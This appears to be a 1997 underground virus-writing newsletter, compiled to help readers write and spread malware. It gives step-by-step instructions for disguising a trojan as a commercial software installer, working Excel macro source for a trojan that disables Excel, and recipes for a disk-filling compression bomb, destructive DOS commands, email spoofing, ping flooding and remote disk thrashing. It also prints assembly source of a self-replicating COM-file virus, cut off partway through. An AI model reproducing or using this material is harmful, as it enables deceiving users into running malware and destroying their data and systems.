                       God@rky's Virus Heaven Newsletter #3



                             Written by God@rky



(C)Circle-A Computers 1997 All Rights Reserved...

-----------------------------------------------------------------------------



**Warning** This magazine deals with Viruses, thier production, and

thier distribution, and frankly anything else that is virus related that we

wish to publish here.  The ethics of this magazine's very existance my upset

you.

        The intent of this magazine is to keep those interested in collecting

or authoring viruses up to date as well as we can with some of the information

that can be found here and abroad.



If you have any questions, comments, ideas or article submissions, by all

means send them via E-mail at: godarky@ilf.net

-----------------------------------------------------------------------------

                                 CONTENTS



         Section One     -       Introduction 



         Section Two     -       How To Hide Your Virus/Trojan by Virulent     



         Section Three   -       MS-Excel Shutdown Trojan



         Section Four    -       An Intro To Basic Computer Anarchy &

					   The Techniques Involved



	 Section Five    -	 Site News & Info       



	 Section Six     -       Virus Heaven Hacked?!?!



         Section Seven   -       The Browser Wars Become Uneven? Maybe...



         Section Eight   -       A Small Virus Section



         Section Nine    -       The End

=============================================================================       



Introduction



	Yeah...  It's been a little while since I have been able to crank out

an issue of the Virus Heaven Newsletter.  Those who have been e-mailing me

asking when the next issue would be out, know that the date has been

continually falling further and further behind. 

	The backlog started when I threw out some articles for Virus Bits &

Bytes magazine issue #4, and then continued through some upgrades on my

system as well as an increasingly larger amount of time I am having to

spend at work nowadays.

	Since the First issue, I have been getting all kinds of submissions

for the newsletter.  Some have been used in Virus Bits & Bytes Magazine #4,

others have been held for this somewhat special issue of the newsletter.

	These are articles I was reluctant to publish due to the fact that

they dont really deal with viruses, but more the ilk of Trojans and other

forms of Malware.  But due to the nature of the computer virus, I have

decided that these things belong on thier own shelf, and will thus have

thier own Issue, for the most part.

	Most of this newsletter is reader's submissions.  If they want to be

contacted, they will have left an e-mail address in thier submission.



	Anyhow, Enjoy the issue, and I will keep you posted about the next

full scale issue to be released!



=============================================================================

SECTION - 2



			How to Hide Your Virus/Trojan (Revisited)

			=========================================

			by Virulent (mdabrowski@juno.com)



*WARNING* This article contains info that might be offensive to some. May

I remind the reader, that in the United States, Canada, and the UK, virus

creation is not a crime. Frankly, it's legal everywhere except for Sweden

and Switzerland. The author disclaims any responsibility, blah, blah,

blah. 

	The author, however interested, doesn't condone the creation of

destructive viruses. He hates them himself. If you're gonna do it, he 

does condone amusing viruses or ones with nifty visual displays.



*NOTES* Let it be known that I consider myself an AVer, as well as a

VXer. Any AVer that's not in the least bit way an VXer is just an AV 

wannabe. Any VXer that isn't a tad bit an AVer is an idiot. If you're 

around viruses as long as you might be, you're bound for infection. I have,

and I have been toasted by such wonderful creations as Natas. I have no ill

will against either community, and I love being a part of them both. If this 

article angers anyone in the AV community, that's their problem. I believe 

I'm making and will make lots of contributions to the field. Bug off.



	I'd also like it to be known that, for one reason alone, I have

personal contempt for George Wenzel. I almost like most people in the AV

community. I have no ill will towards the moderator of alt.comp.virus.

Without him, alt.comp.virus would be flooded with make-money-fast posts and

such. Kudos.

	My one reason for hating Mr. Wenzel is the fact that he likes to 

complain about VXers to their ISPs. This is a mean and contemptuous practice

that must be stopped. No one should be "afraid" to post whatever they want 

on the Net. If you've been "harassed" by Mr. Wenzel at any point, contact me.

I'd like to hear about it. And that's the only reason I dislike the man. I

think he does a fine job on producing the comp.virus mini-faq.



	This has been my two-cent editorial on myself and those around

me. Read it and weep, compadre.



Necessary Software:

NUTILS20.ZIP  - The Nowhere Utilities

		    Available everywhere. They're a must have for any power 

		    user, not just those into viruses.

STEGANOS.ZIP  - Steganos

		    Available in many places, or by contacting me.

		    It hides any file into a graphic, sound, or ASCII file.

		    Also will support new file types, if necessary.

=========================================

	An article in CPI Newsletter Issue 2 starts, "So you've made the 

most k-rad virus in the history of the world. So what do you do with the

damn thing?" This topic has been revisited by me, only because I've found

new techniques that must be told. I'll also go over many older

techniques, for the sake of completeness. For my ideas, the two pieces 

of software above are necessary. I use both of them everyday, not just for 

my viral needs.



I. The Basics

=============



	Okay, here goes. The most basic way to hide a piece of viral

software is to simply infect any old piece of shareware and upload it to

a BBS or post it to a newsgroup. This is pretty pointless, especially for

viruses that are not encrypted in any way or just don't work. They also

get pointed out quickly, and you get flamed. Or George Wenzel gets your

account canceled, whatever floats your boat. You should feel like a

moron.



II. PKLITE Files - More Virus, Less Byte

========================================



	Doing! A light goes on in your head. You decide to PKLITE the

file, remove the header, and then upload/post it. This may fool some 

scanners, but the good ones may still catch it. 



	PKLITE reduces the size of a file. Viruses increase the size. If,

in the end, the PKLITEd infected file is smaller than the original, use

RESIZE, one of The Nowhere Utilities. That was Tip #1. In the end, even

if the end user doesn't have a good scanner, he still may notice the file

has changed, if:

	

	1.) You haven't changed the size of the file in PACKING.LST or

	    what have you.

	2.) There's no authentication on the ZIP file. This is especially

	    so for software from big name companies.

	3.) The time/date stamp reads 1:05 a.m., Yesterday morning when 

	    the rest of the files read 3:15. p.m., July 9th, 1994.



	There are utilities around to solve these problems. Windows

Notepad will solve #1. A program - I can't remember the name - distributed 

with an issue of 40Hex might solve #2. FIXTIME (A Nowhere Utility) will 

solve #3.



	Voila! The end user is completely fooled. Even though you may be 

miles away, you can hear him/her swearing as his CMOS is wiped out, or

whatever. 



	You go into school the next day, and you get a note from a

friend. He needs a copy of ZeroBug.52086GFgbf?64, a new virus of which you 

have one of the 4 copies in the world. George Wenzel got your friend's 

account canceled, so he can't get it via e-mail. You decide to only way to 

get it to him is through the school's BBS.



III. Getting that file to your Vx buddy

=======================================



	It turns out the teacher running the BBS is a paranoid little

jerk that not only has 19 virus scanners scanning each upload, but personally

inspects each file for usual stuff. And they pay him for this! Since the

guy checks everything out, using the PKLITE technique ain't gonna help

you. Luckily, you and your friend picked up a copy of STEGANOS, either

from that brilliant article author, Virulent, or of some site on the Net.



	You decide to hide Zerobug in a picture of your personal hero,

Bill Gates, or maybe that F-Prot wallpaper BMP Datafellows distributes.

STEGANOS is simply to use. The syntax is as such:



STEGANOS <e/d> <graphic/sound/ascii file> <file to hide> <password> </b>

</d>



E or D means encode or decode

/B means keep a backup of the original graphic file

/D means to delete the file you've just hidden.



	It's pretty simple. So the jerk at school looks at your BMP of

Chairman Bill, and just sees some pixels with strange colors. "Hmm. Must

of had errors in the transfer." Your friend downloads the BMP and now

has a copy of the now infamous Zerobug variant. (BTW, Zerobug is a neat

virus, especially when you deliberately infect yourself to see the nifty

effect. :) )



IV. Can You Go Over That Again?

===============================

	

	You may want to know EXACTLY how to do what I said in Section II,

so I'll go over the command-by-command play of me replacing a copy of

SoftRam, a Windows memory manager, with a trojan horse.



	It turns out that the thing I've selected to replace SoftRam with

is a trojan, so I can't just infect the installation file. The setup's a

Windows program anyway, so it'll be futile. I'll have to replace SETUP.EXE 

with the trojan. The trojan's name is Hemoroids, which I got off God@rky's 

web site. Here's a DIR of the original files in the zip:



README   WRI     20480 05-08-95  12:00p

SETUP    EXE    273920 05-08-95  12:00p

SETUP    INS     21085 05-08-95  12:00p

SETUP    LGO       391 05-08-95  12:00p

SETUP    PKG       193 05-08-95  12:00p

SRAM     Z       95294 05-08-95  12:00p

SRAMRES  DLL     15040 05-08-95  12:00p

~INS0763 LIB      7190 05-08-95  12:00p

IMORTAL1 ASC      1448 07-01-96   7:15p

HEMOROID EXE	  2448 06-20-96  10:32p



	IMORTAL1.ASC would be an ad for the BBS I downloaded it from,

which would be The Isles of the Immortals. (203-266-6079 8N1)



	I'd then take HEMOROID.EXE, which is 2448 bytes. Due to the

271,472 byte difference between HEMOROID.EXE and SETUP.EXE, I can't just

rename HEMOROID.EXE. There's also the year time/date difference. So I'll

first RESIZE (A Nowhere Util) HEMOROID to the size of SETUP:



RESIZE -R 273920 HEMOROID.EXE



	-R is so that the 270,000 some odd bytes put into HEMOROID aren't

all zeros, or it'll compress to around 5k. HEMOROID and SETUP are now the

same size. Now the time/date stamp:



FIXTIME 05-08-95 12:00 HEMOROID.EXE



	The directory listing should look like this now:



README   WRI     20480 05-08-95  12:00p

SETUP    EXE    273920 05-08-95  12:00p

SETUP    INS     21085 05-08-95  12:00p

SETUP    LGO       391 05-08-95  12:00p

SETUP    PKG       193 05-08-95  12:00p

SRAM     Z       95294 05-08-95  12:00p

SRAMRES  DLL     15040 05-08-95  12:00p

~INS0763 LIB      7190 05-08-95  12:00p

IMORTAL1 ASC      1448 07-01-96   7:15p

HEMOROID EXE    273920 05-08-95  12:00p



	Good. Now you can rename HEMOROID to SETUP. But the dang project

isn't done yet. We need to PKZIP it up! Here's the two zip files. 

SOFTRAM.ZIP is the original. SOFTRAMI.ZIP is the infected one. I've also

fixed the time/date stamp on SOFTRAMI.ZIP. The reason the ZIP's time/date

stamp is so new, is that, since I downloaded it from a BBS, a ZIP comment

was added, changing the date.



SOFTRAMI ZIP    394813 09-09-96   9:50p

IMORTAL1 ASC      1448 07-01-96   7:15p

SOFTRAM  ZIP    371552 09-09-96   9:50p



	IMORTAL1.ASC is our BBS comment file. Since the ZIPs aren't

relatively exact until we add the comment, I'll do it:



PKZIP -Z SOFTRAMI.ZIP < IMORTAL1.ASC



	And I'll fix the time/date stamp again. Now SOFTRAMI.ZIP could 

effectively pass as the original. And there's only a 23,261 byte size

difference. And no one usually runs FC (file compare) on two ZIPs like

that. Now you'd upload SOFTRAMI.ZIP (after renaming it and such) to your

favorite BBS, or post it to your favorite binaries newsgroup.



	I never actually had SoftRam. It's a commercial program, so I had

someone who did have it send me a DIR of the files to work with. I

wouldn't use SoftRam as a trojan myself, considering there's more non-warez 

newsgroups and BBSes then there are warez ones, and we're going for 

maximum reach with the same file, eh?



V. Conclusion

=============



	I've gone over a lot of techniques and such with you today, and I

hope you use them well. As always, I take no responsibility. I hope this

article sort of raises my standing in the Vx community, while not

lowering it in the Av community. If you have any thing to add to this 

article, please e-mail me. If you have a flame, and are on a Unix-type 

system, type it into a text file and move it to /dev/null.



	In the future, I intend to write more articles and to possibly

come out with my own virus scanner to take out any virus on the WildList

or whatever. I hope to eventually even be one of the participants. If 

you'd like to join me on any of my yet-to-be-infamous exploits, my e-mail

address is at the top of this article. Thanks, Virulent.



=============================================================================

SECTION - 3

			MS-Excel Macro - Shutdown Trojan



The "shutdown.xls" is a trojan that although nondestructive is

sure to piss off and confuse the average Excel user.  It contains an 

Auto_Open macro which creates an ".xla" add-in file in the person's Excel 

startup directory entitled "msexcel.xls" (sounds pretty innocent, kinda like

something you certainly wouldn't want to delete).  The sole purpose of this 

file is to close Excel. The first time you open shutdown.xls, it creates this

xla file then dissappears then shuts Excel off. Every time you try to open 

Excel in the future, it starts to fire up then automatically opens the xla 

file in the startup directory then shuts down.  Until you delete the 

msexcel.xls file in your startup directory, you will be unable to open Excel.

The beauty of an xla file is that you can't open it to see the contents.  

Noone is going to want to delete something that the can't look at first 

especially with a name lke msexcel.xls.  If you want to create this yourself,

the source code to the macro is below.  I have tested it using Excel 5 for 

Win3.1 and Excel for Win95.



Sub Auto_Open()

    Application.DisplayAlerts = False

    Dim Start As String

    Start = Application.StartupPath

    ChDir Start

    ExecuteExcel4Macro "VBA.MAKE.ADDIN(""msexcel.xla"")"

    Application.Quit

End Sub



That's it! Just name the file "msexcel.xls" and you are done!



(Editor's Note): If you would like to see more of this guy's work, check out

the Yohimbe Excel Macro Virus that appeared in Virus Bits & Bytes Magazine

Issue #4.

=============================================================================

SECTION - 4



    An Introduction to basic computer anarchy and the techniques involved

	         			McNasty 1996

-----------------------------------------------------------------------------



Why am I writing this?



I'm writing this due to the fact that I'm always being asked to help people 

who want to learn how to hack or how to create mayhem on other people's 

computers and I'm sick of repeating myself.



I personally will accept no responsibility for any of the methods I describe

creating damage on someone else's computer. If you're gonna do it, take the 

rap for it yerself!



I'll try to outline some methods you can use to really give people a hard 

time if you feel fit.



Contents:

The Worm (and how to create a simple one using common ingredients found 

	   around the home)

Tricks using DOS 

FakeMail

Networking Havoc



That's about all for this first tutorial, if you want more just drop me a 

line or give God@arky a shout and he'll pass it on.



1. The Worm

What is a worm?



A worm is a piece of code that basicaly replicates itself locally (not to 

be confused with a virus...the worm does not transfer from host to host, 

it just fucks up the computer it's run on)



For example a file that just gets bigger and bigger until you got no more

space left on your HDD. Sounds funky? it's dead easy to write and it's 

spectacular when it goes off! 



Imagine a 50k exe file that when it's run suddenly changes to 200MB and if

you aint got 200MB free on your HDD you got big problems!



Try this (i've already done so and it works fine and dandy)

I've left out important bits, but once you get the idea it shouldn't be 

hard to suss out how to make it even worse.



Create a text file using edit (I usually create a file that's full of spaces

with the words "This space left intentionally blank" in the middle of the 

page) and press enter until it's quite large. Hilight the lot and copy and 

paste the text a few times until you have quite a large txt file then save 

it.



Next write a batch file (called 1.bat or something like that) that copies 

your txt file onto itself and keeps looping.



example:



:loop

copy stuff.txt stuff2.txt

copy stuff.txt+stuff2.txt stuff.txt

dir stuff.txt

goto loop



now run the bat file and watch it grow.....within a few minutes you've got a

HUGE txt file that basically says 'this space left intentionally blank'



When you've got a file sufficiently large enough (ie you've run out of disk 

space!) you've got the fun bit......



Enter the PK family....



OK, right, now just point PKZIP at it and you'll see the txt file compress 

to around 100k (depending on the compression type you use.....I've actually 

had it to about 50k!)



Now you have a 100K zip file comtaining a 200MB txt file.....



Right, now run ZIP2EXE on it and turn it into an exe file et voila! instant 

bomb!



You can adda few little extras here. There's a program in the nowhere 

utilities that's a file padder. Run that and point it at your exe file to 

make it exactly the same as a known file on the victim's computer. Then 

plant it and sit back and watch the fireworks.



Another way of getting the victim to run the bomb is to get a copy of QBASIC

4.5 or VB and write a little program that looks like an installer, but 

instead of installing it's doing damage. I got a guy with this and he was 

running the installer for 20 mins. After he got bored of waiting he rebooted

only to find that his HDD was full of a HUGE txt file (he had a 1GB HDD) and

wouldn't boot 'cos the boot sector had been corrupted.



The hardest thing with a worm is actually getting the victim to run it. If 

you use one of the ways I described it should make it a lot easier to dupe 

your victim into committing HD Murder.



2. Tricks using DOS

Yeah yeah yeah I knwo what you're saying 'we use windows, why use dos?'. 

Basically you can do a hellova lot more with a CLI than you can with a GUI 

(at least at the moment you can) and it's easier to work with (as far as I'm

concerned!)



Some undocumented stuff to do in DOS (some of it good some of it not)

ONLY TRY THESE IF YOU WANT TO AND DON'T EVEN THINK ABOUT BLAMING ME IF YOU 

FUCK UP YOUR COMPUTER!



Echo 123>clock$



This is a funky little command that overwrites your internal dos variable 

clock$ and crashes your computer with a stack overflow. After rebooting you

will notice that your bios has been corrupted and depending on your bios, 

all your settings have been filled with shit. Some BIOS's only get the date

and time corrupted, but some actually completely reset themselves (not nice

if your bios doesn't have a HD autodetect!)



There are all sorts of internal variables that you can overwrite with the 

echo command. To get a list of these type mem/debug/p and see what you can 

play with BUT BE CAREFUL!





the eternally famous deltree /y c:\windows

just deletes your windows directory without prompting for confirmation. 

This also works with format too.





Attrib c:\command.com +h +s +r



means that you'll have to boot from floppy until you unhide command.com.



A handy thing to do (but you need a little time in private) is to run 

PCTOOLS or norton hex editor and change the boot sector info on your or 

your victim's HDD from NON bootable disk blah blah blah to "This disk has 

been infected by the Good-Times Virus" then every time you format a floppy 

from your computer the boot sectors of the disks you format wil have a 

message about the goodtimes virus if you try to boot from them!





3. FakeMail (or how to confuse the hell out of lamers)

This is also very handy for stopping unwanted spam coming in by spammers 

stealing your email address from the newsgroups.



In Netscape select Options, then Mail and News Preferences, then Identity 

and change your return email address to whatever you want (I have been known

to make it the same email address as the vitim you want to hit with the 

fakemail so when he replies he just spams himself!)



NOTE: This takes effect on the NEXT email you send, so if you've already 

selected to send an email and then change your return address and identity 

it will not take effect on that email. 



BE AWARE OF THIS AS IT CAN GET YOU IN SOME SHIT IF YOU SEND OBNOXIOUS MAILS

THINKING YOU'VE REMOVED ALL TRACE OF YOUR IDENTITY.



Also, be aware of the fact that this is not untraceable, the only way of 

sending untraceable email is either by using the port25 option in UNIX or 

using an anonymous remailer (even then the remailer has an obligation to 

give your details to the authorities if requested to do so in some 

countries)





4. Networking Havoc

If you have a network in your office or school you can create all sorts of 

mayhem. Here a few ways to do so.



Ping!

If your net transport is tcpip you can realy bring the network speed down by

ping flooding everyone. Find out the ip address of your victim(s) and then 

just ping them continually from a bat file.



ie..



:loop

ping 127.0.0.1 (or the ip address of the victims terminal)

goto loop



and then run the batch file in the background.

In windows95/NT if you have tcpip networking you have ping in your windows

directory as well as a few other things like telnet, and tracert.



SwapFile Havoc!

If the victim on the network has a shared directory (ie to play network

doom etc..) you can really play hell with their computer.



Map the victim's directory

Create a new directory on the victims shared directory.

create a bat file on your computer like this. (I'll use doom as an example)



:loop

copy x:\doom.wad x:\new\doom.wad

del x:\doom.wad

copy x:\new\doom.wad x:\doom.wad

del x:\new\doom.wad

goto loop



Basically, this copies the doom.wad backwards and forwards between the 

original directory and the new directory. Bearing in mind that the doom.wad

is about 15MB and is deleted when copied, the victim just sees his hard 

drive going ballistic and all his processes slow down to a crawl because 

he's having to share hard drive access between his swapfile and a remote 

process (which doesn't affect the speed of your terminal!)



I did this to a victim and he ended up reformatting his HD because his 

computer was running like a pig and hammering his HD all the time.



Another advantage of running stuff like this from a remote terminal is that

if you are about to be discovered, you can always swithc off the process.





Well, that's it for now. If you liked this, thanks. If you didn't, why did 

you bother downloading it in the first place!



If you want more, let me know.



McNasty



=============================================================================

SECTION - 5  





                  	  Site News & Info

                             By God@rky



	Well there has been quite a bit of things going on in the VX world. 

Perhaps I will remember it all, perhaps not.  



	One of the biggest additions to the Vx world recently was the

appearance of the West Coast Institute Of Virus Research (www.wcivr.com).

There has been much talk about this site, and I can see why.  The site is 

maintained by Falcon, and contains a very vast collection of Viruses.

	In the newsgroup alt.comp.virus, there has been some squabbling over

wether or not the AV programs mentioned on the site detect the viruses or not.

Many of the viruses there are indeed detected.  And I believe there will be 

quite a few there that aren't currently detected.  I personally don't have 

the time to test my own site and collection, let alone Falcon's.  And really,

what is it with the interest it has stirred up anyway of the AV folks.  Since

when did they start caring whether claims a Vx site makes are true or not, or

for that matter backed by science?  Get real.  Anyways, the URL is;



http://www.wcivr.com  



Give it a look-see, you may be surprised, and it may become a vastly used

bookmark in your browser. 



	The Virus Programming Instruction Page is back on-line with a new ISP,

Be sure and update your links to http://www.goodnet.com/~jwools/vir.htm



	As many of you noticed (depending on where you picked up VBB Issue #4)

The VBB site has received a face-lift. Still in the same location, just 

organized somewhat differently.



Received News awhile back, not sure if it is still available or not:



	The Earth Crisis  (203)753-3212 8N1

	It runs a little slow on purpose. They have deliberately put up some 

	lame stuff to stop some people from calling. Supposed to be a HEAVY VX

	BBS.  Dunno, haven't had the desire to see my LD phone bill take a 

	rise recently, so I have not checked it out.





=============================================================================

SECTION - 6



			Virus Heaven Hacked?!?!  

                              By God@rky



	I guess as many of you may have seen,  The Virus Heaven Website was

hacked.  The only damage done was visual, and simply remedied by re-loading

the HTML onto the site.  Instead of the usual Anti-Censorship Garb that

appears on the graphics version of the site, the hacks left a "Microsoft

Nazis" logo there, and renamed the "40hex" zines to "40sex". As i said, it

was an uninspired easy hack, that was easily remedied. Then afterwords, I

was unable to access my E-mail or update the site.  I am not sure if this 

was do to Chaos changing my password (to prevent further hacks through my

account) and not informing me of the change, or if my account was hacked a

second time.  The total time I was unable to update the site or check my

mail was exactly ONE MONTH.  



	Also, as many of you noticed, a week or two after my site was hacked,

The Alliance Virus Group page was hacked as well.  The leftovers, at that 

point named "The Alliance Virus Football Page" with links to a S.I.N. site

and some other site that escapes memory now, and captioned at the bottom,

"Hacked By DaFool".



        During this time, I thought alot about the site I maintain, and the

Service/Disservice I provide the Internet Community.  At one point, I became

tired of the entire commotion that comes about when you make viruses

available over the Internet. The size of the withdrawl's from my

precious wallet of spare time that the site made were quite large.  I was

ready to end the site.



        It was voiced by many, that DaFool, and who else hacked the ILF

Server were doing a great disservice to the entire hacking community, as

the server will provide a home, hassle free for such sites.  Others stated

that it was probably a hack aimed at the Alliance for some kind of mental

masturbation in a "Hack-war" of some sorts.  But then again, who really gives

a fuck, huh? The hack apparently provided a service, as security was upped at

ILF.



        I have decided against shutting down the site for the time being.

I am not sure what made me change my mind to continue running the site...

Hell, who knows when it will change again. Many of the sites on ILF are now

gone.  One of the hard drives was cleared, so they will be re-appearing in a

matter of time.  But I thought it was important that I let you all know

why I wasn't responding to your mail or why the Virus Of the Month for

February were 2-3 months old.



=============================================================================

SECTION - 7

                    The Browser Wars Become Uneven? Maybe...

                                By God@rky



(NOTE: This article's primary reason for appearing in this issue, is

because of the possibuility made for WWW trojans)



        We all have been witness to the battle between Microsoft and

Netscape.  The battlefield?  Primarily the WWW. The weapons?  All the

plug-in's and processor bogging features you can (or in some cases CAN'T)

handle.



        But a new weapon brought in by MicroSoft, may have backfired.

That weapon is known as ACTIVE-X.  I am not going to go into the specifics

of ACTIVE-X's flaws or security holes, there will be an URL at the end of

this article which will take you to a site that will tell you everything

you wanted to know about the problems with Internet Explorer and Active-X.



        Apparently Active-X makes it possible to run *ANY* program on the

client machine of the person who is viewing the page with the propper

Active-X malware scripted into it.  I suppose this means that a "harmless"

viewing of your favorite web site can trigger the FORMAT command, or even

a virus (Vx dropper).



        From everything I have read, this is not possible with Netscape (any

version). And from recent news, I guess Microsoft isn't planning on plugging

these security holes.  But then why would they.  They didn't make it any

harder to create Macro Viruses with Office 97 in either Excel or Word.  Now

that there are more than 400 Word Macro Viruses alone, and probably quite a

few more being made each day, there isn't much they can do.



        Here is the URL for the site that dives into the world of

Over-If-Not-Hyper-Active-X and Internet Explorer;



http://www.halcyon.com/mclain/ActiveX/



(Note: Not sure, as I don't use Internet Explorer, but I would recommend

using Netscape when you visit this site. <grin>)

        

=============================================================================

SECTION - 8

                        The Small Virus Section



        Well I just didn't think it would be right to do an issue without

some sort of virus info in it, so here we are.  Some of you are framiliar

with the King Lizard line of viruses (the Coconut family).  Well here are

dooMSday's careful analysis of the first two coconut viruses, COCONUT-OW!

and COCONUT-AP!



; ------------------------------------------------------------------------

; THE COCONUT-AP! VIRUS

; (analysis: dooMSday)

;

; * direct action com-file infector (only if 128 < filesize < 60000 bytes

;   and if filename is not '??MM????.COM' --> no COMMAND.COM infection)

; * tries to infect two files each time an infected file is executed

; * no date/time change

; * encrypted

; * debugger trap

; * activation date: Dec. 25th / Dec. 31st --> displays message

; * able to change directory (".." method)

; * signature "IN" at offset 0103h

; * virus author: @King Lizard

; ------------------------------------------------------------------------

.MODEL TINY

.RADIX 16

.CODE

        ORG 100

START:

        JMP     VIR_ENTRY                               

        DB      49,4E

;-------- original program code -----------

;

        db 79 dup (90)

        INT     20

;------------------------------------------                               

VIR_ENTRY:

        CALL GET_IP                               

GET_IP:

        MOV     AX,4C00                            

        SUB     AH,22           ;AX=2Ah                              

        INT     21              ;get Date                  

        POP     BP                                 

        PUSH    DX                                 

        SUB     BP,0108         ;BP=007Bh                            

        CALL    DECODE                               

        POP     DX                                 

        CMP     DH,0C           ;month=Dec. ?                              

        JNZ     LAB_02                              

        CMP     DL,19           ;day=25 ?                              

        JZ      LAB_01                              

        CMP     DL,1F           ;day=31 ?                              

        JNZ     LAB_02                              

LAB_01:

        CALL    PAYLOAD                              

LAB_02:

        CALL    NEW_VECTOR                              

        CALL    RESTORE_BYTES                              

        CALL    PROC_2                              

        CALL    PROC_3                             

FIND_FIRST:

        MOV     AH,4Dh                                      

        INC     AH              ;AH=4Eh                                               

        MOV     CX,0007                            

        LEA     DX,[BP+07EDh]   ;(COM_STRING)                       

        INT     21              ;Find First                                 

        JNB     LAB_06                               

        JMP     LAB_05                              

LAB_07:

        JMP     LAB_03                              

LAB_06:

                                        ; file= '??MM????.COM' ?                                   

        CMP     WORD PTR DS:[BP+08B3],4D4Dh            

        JZ      LAB_07                              

                                        ;file length:                                   

        CMP     WORD PTR DS:[BP+08ADh],0080          

        JB      LAB_07                  ; < 128 Bytes !

        CMP     WORD PTR DS:[BP+08ADh],60EA            

        JA      LAB_07                  ; > 60000 Bytes !                              

        LEA     DX,[BP+08B1]                       

        MOV     AX,4C00                            

        SUB     AX,08FF                 ;AX=4301h                            

        SUB     CX,CX                              

        INT     21                      ;set attrib.                                 

        JB      LAB_07                               

        MOV     AX,4C00                            

        SUB     AX,0EFE                 ;AX=3D02h                            

        LEA     DX,[BP+08B1]                       

        INT     21                      ;open file                                 

        JB      LAB_07                              

        XCHG    BX,AX                   ;BX=handle                              

        MOV     CX,0005                            

        MOV     AH,3F                   ;read file                              

        LEA     DX,[BP+0845]            ;[ORIGINAL_BYTES]                   

        INT     21                                 

        CMP     WORD PTR DS:[BP+0848],4E49 ;signature ?           

        JZ      LAB_07                                          

        CALL    MOVE_POINTER                               

        SUB     AX,0003                            

        MOV     DS:[BP+0841],AX         ;[P_JUMP+1]                       

        MOV     AX,4200                 ;move file pointer                            

        CWD                                        

        SUB     CX,CX                              

        INT     21                                 

        MOV     CX,0005                                     

        MOV     AH,3F                              

        INC     AH                      ;AH=40h                                 

        LEA     DX,[BP+0840]            ;(P_JUMP)                       

        INT     21                      ;write file                                 

        CALL    MOVE_POINTER                               

        CALL    NEW_KEY                           

        CALL    ENCODE                              

        MOV     CX,074E                            

        MOV     AH,3F                              

        INC     AH                      ;AH=40h                                 

        LEA     DX,[BP+0105]            ;(VIR_ENTRY)                       

        INT     21                      ;write file                                 

        CALL    DECODE                               

        CALL    PROC_4                              

LAB_05:

        INC     BYTE PTR DS:[BP+084F]           ;[U_K]                 

        CMP     BYTE PTR DS:[BP+084F],02        ;[U_K]              

        JNZ     LAB_03                               

        MOV     AX,4C00                            

        SUB     AH,32                   ;AH=1Ah                              

        MOV     DX,0080                            

        INT     21                      ;set DTA Adr.                                 

        MOV     AH,3Bh                  ;set directory                              

        LEA     DX,[BP+0852]            ;(P_DIRECTORY)           

        INT     21                                 

        CALL    RESTORE_VECTOR                               

        MOV     BX,0101                            

        DEC     BX                                 

        JMP     BX                      ;Jump 0100                                 

LAB_03:

        CALL    PROC_4                               

        MOV     AH,50                              

        DEC     AH                      ;AH=4Fh                              

        INT     21                      ;find next                   

        JB      LAB_04                             

        JMP     LAB_06                              

LAB_04:

        MOV     AH,3Bh                  ;set directory                             

        LEA     DX,[BP+084A]            ;(PARENT_DIR)                       

        INT     21                                 

        JB      LAB_05                              

        JMP     FIND_FIRST                               

MOVE_POINTER:

        MOV     AX,4202                 ;move file pointer                            

        CWD                                        

        SUB     CX,CX                              

        INT     3                                  

        RET                                        

NEW_VECTOR:

        CLI                                        

        PUSH    DS                                 

        XOR     AX,AX                              

        MOV     DS,AX                           ;DS=0000h                              

        MOV     AX,word ptr[offset start-00F4]  ;get Int 03h offset                         

                                                ;and save it                   

        MOV     CS:[BP+083C],AX                 ;[INT_3_OFFSET]                           

        MOV     AX,word ptr[offset start-00F2]  ;get Int 03h segment                   

                                                ;and save it                   

        MOV     CS:[BP+083E],AX                 ;[INT_3_SEGMENT]                      

        MOV     AX,word ptr[offset start-007C]  ;get Int 21h offset                          

        MOV     word ptr[offset start-00F4],AX  ;copy to Int 3 offset                   

        MOV     AX,word ptr[offset start-007A]  ;get Int 21h segment                   

        MOV     word ptr[offset start-00F2],AX  ;copy to Int 3 segment                   

        POP     DS                                 

        STI                                        

        RET                                        

RESTORE_BYTES:

        LEA     SI,[BP+0845]            ;[ORIGINAL_BYTES]                       

        MOV     DI,0100                            

        MOVSW                                      

        MOVSW                                      

        MOVSB                                      

        RET                                        

PROC_2:

        MOV     BYTE PTR DS:[BP+084F],00              

        RET                                        

PROC_3:

        MOV     AH,47                   ;get directory                   

        SUB     DL,DL                              

        LEA     SI,[BP+0853]            ;(P_DIRECTORY +1)                      

        INT     3                                 

        MOV     AH,1A                   ;set DTA adr.                              

        LEA     DX,[BP+0893]            ;(P_DIRECTORY +65d)                       

        INT     3                                  

        RET                                        

RESTORE_VECTOR:

        CLI

        PUSH    DS                                 

        XOR     AX,AX                              

        MOV     DS,AX                              

        MOV     AX,CS:[BP+083C]         ;[INT_3_OFFSET]                       

        MOV     word ptr[offset start-00F4],AX  ;=000Ch                          

        MOV     AX,CS:[BP+083E]         ;[INT_3_SEGMENT]                       

        MOV     word ptr[offset start-00F2],AX  ;=000Eh                          

        POP     DS                                 

        STI                                        

        RET                                        

NEW_KEY:

        MOV     AH,2C                   ;get time                              

        INT     3                                  

        CMP     DX,+00                             

        JZ      NEW_KEY                              

        MOV     DS:[BP+0850],DX         ;[P_KEY]                       

        RET                                        

PROC_4:

        SUB     CX,CX                              

        MOV     CL,DS:[BP+08A8]                       

        LEA     DX,[BP+08B1]                       

        MOV     AX,4301                 ;set attrib.                            

        INT     3                                  

        MOV     CX,DS:[BP+08A9]                       

        MOV     DX,DS:[BP+08ABh]                       

        MOV     AX,5701                 ;set file date/time                            

        INT     3                                  

        MOV     AH,3E                   ;close file                              

        INT     3                                  

        RET                                        

PAYLOAD:

        SUB     CX,CX                              

        MOV     DX,314F                            

        MOV     BX,0700                            

        MOV     AX,0600                 ;CLS                            

        INT     10                                 

        MOV     AH,05                   ;activate screen page 0                              

        INT     10                                 

        MOV     AX,1112                 ;8*8                                     

        SUB     BL,BL                              

        INT     10                                 

        MOV     AH,12                   ;?                              

        MOV     BL,20                              

        INT     10                                 

        MOV     AH,09                   ;display String                              

        LEA     DX,[BP+02EDh]           ;(MESSAGE)                       

        INT     21                                 

        INT     20                      ;exit                                 

        RET                                        

;------------------------------------------- DATA

AUTHOR DB '[by @King Lizard]'



MESSAGE DB 0Dh,0A, '             ooooo@@@@@@@@@@@@@ooooo'

        DB 0Dh,0A, '          oo@@@@@@@@@@@@@@@@@@@@@@@@@oo'

        DB 0Dh,0A, '        oo@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@oo'

        DB 0Dh,0A, '      o@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@o'

        DB 0Dh,0A, '    o@@@@@@@@@    @@@@@@@@@@@@@    @@@@@@@@@o'

